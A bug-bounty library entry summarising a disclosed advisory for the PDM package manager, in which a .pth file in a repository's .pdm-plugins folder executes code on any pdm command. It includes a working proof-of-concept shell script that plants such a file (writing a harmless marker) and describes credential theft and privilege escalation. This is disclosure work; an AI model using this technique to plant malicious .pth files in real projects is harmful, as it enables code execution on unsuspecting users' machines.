# PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing

PDM auto-adds project-local .pdm-plugins via site.addsitedir(), so a malicious .pth executes code on any pdm command, even `pdm --version`.

- Payout: Research
- Severity: high
- Program: PDM
- Found by: xuemian168
- Disclosed: 2026-06-11
- CVE: CVE-2026-47781
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qq6c-99pv-prvf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qq6c-99pv-prvf
- Tags: area:oss domain:oss impact:privesc impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:rce

**Target:** PDM CLI (Python package manager) Core plugin loader
**Root cause:** Core.__init__ calls load_plugins() -> _add_project_plugins_library() which passes the project-controlled .pdm-plugins path to site.addsitedir(); CPython executes `import ` lines in .pth files found there, before CLI parsing.
**Steps:**
1. Create a temp project with a minimal pyproject.toml.
2. Compute the purelib path under .pdm-plugins using sysconfig.get_path('purelib', scheme, {'base': base, 'platbase': base}).
3. mkdir -p that purelib and write `evil.pth` containing `import pathlib; pathlib.Path(r'<marker>').write_text(...)`.
4. From the project dir run `python -m pdm --version`.
5. Observe the marker file created, proving code execution before CLI exit.
**How found:** Reporter traced Core.__init__ -> load_plugins() -> _add_project_plugins_library() and noticed the project-local path is passed to site.addsitedir(), whose .pth `import ` execution is a known code-execution primitive; confirmed with a marker-file PoC.
**Exploitation:** Attacker ships a repo containing .pdm-plugins/<purelib>/evil.pth; victim running any pdm command (e.g. `pdm --version`) in that checkout triggers site.addsitedir() to execute the .pth import line as the invoking user, yielding arbitrary code execution, credential theft or persistence.
**Escalation:** Impact rises when pdm runs under sudo, root-owned CI jobs or privileged service accounts, giving privilege escalation.
**Insight:** When auditing Python tooling that adds project-local directories to sys.path, check for site.addsitedir()/site.addpackage() usage: any project-controlled dir containing a .pth with an `import ` line becomes pre-CLI code execution, even on read-only commands like --version.

## Proof of concept (copied exactly from the original report)

**PoC script creating evil.pth and running pdm**

```
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"
```

